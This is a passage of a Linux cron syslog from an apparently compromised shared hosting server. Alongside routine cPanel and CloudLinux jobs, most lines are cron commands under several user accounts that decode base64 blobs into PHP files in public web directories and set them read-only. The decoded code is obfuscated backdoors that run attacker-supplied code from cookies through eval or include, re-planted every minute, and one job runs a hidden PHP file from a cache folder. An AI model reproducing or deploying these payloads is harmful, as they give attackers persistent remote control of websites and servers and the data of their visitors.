ZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:35:01 medusa CROND[29722]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 11:35:01 medusa CROND[29731]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 11:35:01 medusa CROND[29733]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:35:01 medusa CROND[29736]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:35:01 medusa CROND[29737]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:35:01 medusa CROND[29738]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 11:35:01 medusa CROND[29744]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:35:01 medusa CROND[29745]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 11:35:01 medusa CROND[29735]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  2 11:35:01 medusa CROND[29747]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:35:01 medusa CROND[29748]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 11:35:01 medusa CROND[29749]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 11:35:01 medusa CROND[29750]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:35:01 medusa CROND[29742]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 11:35:01 medusa CROND[29756]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:35:01 medusa CROND[29743]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 11:35:01 medusa CROND[29771]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:35:01 medusa CROND[29769]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 11:35:01 medusa CROND[29746]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 11:36:01 medusa CROND[16262]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:36:01 medusa CROND[16263]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:36:01 medusa CROND[16264]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:36:01 medusa CROND[16266]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:36:01 medusa CROND[16267]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:36:01 medusa CROND[16275]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 11:36:01 medusa CROND[16276]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:36:01 medusa CROND[16278]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 11:36:01 medusa CROND[16277]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:36:01 medusa CROND[16272]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:36:01 medusa CROND[16270]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:36:01 medusa CROND[16283]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:36:01 medusa CROND[16290]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:36:01 medusa CROND[16293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:37:01 medusa CROND[4713]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:37:01 medusa CROND[4714]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:37:01 medusa CROND[4715]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnI